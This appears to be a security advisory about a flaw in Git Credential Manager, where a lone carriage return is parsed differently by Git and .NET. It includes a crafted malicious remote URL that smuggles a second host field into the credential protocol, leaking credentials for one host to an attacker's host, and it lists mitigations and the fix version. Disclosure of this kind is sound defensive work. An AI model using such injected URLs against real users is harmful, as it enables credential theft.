The Git credential protocol is text-based over standard input/output, and consists of a series of lines of key-value pairs in the format key=value. Git's documentation restricts the use of the NUL (\0) character and newlines to form part of the keys1 or values.
When Git reads from standard input, it considers both LF and CRLF2 as newline characters for the credential protocol by virtue of calling strbuf_getline that calls to strbuf_getdelim_strip_crlf. Git also validates that a newline is not present in the value by checking for the presence of the line-feed character (LF, \n), and errors if this is the case. This captures both LF and CRLF-type newlines.
Git Credential Manager uses the .NET standard library StreamReader class to read the standard input stream line-by-line and parse the key=value credential protocol format. The implementation of the ReadLineAsync method considers LF, CRLF, and CR as valid line endings. This is means that .NET considers a single CR as a valid newline character, whereas Git does not.
This mismatch of newline treatment between Git and GCM means that an attacker can craft a malicious remote URL such as:
https://\rhost=targethost@badhost
..which will be interpreted by Git as:
protocol=https
host=badhost
username=\rhost=targethost
This will instead be parsed by GCM as if the following has been passed by Git:
protocol=https
host=badhost
username=
host=targethost
This results in the host field being resolved to the targethost value. GCM will then return a credential for targethost to Git, which will then send this credential to the badhost host.
When a user clones or otherwise interacts3 with a malicious repository that requires authentication, the attacker can capture credentials for another Git remote. The attack is also heightened when cloning from repositories with submodules when using the --recursive clone option as the user is not able to inspect the submodule remote URLs beforehand.
Only interacting with trusted remote repositories, and do not clone with --recursive to allow inspection of any submodule URLs before cloning those submodules.
This issue is fixed as of version 2.6.1.
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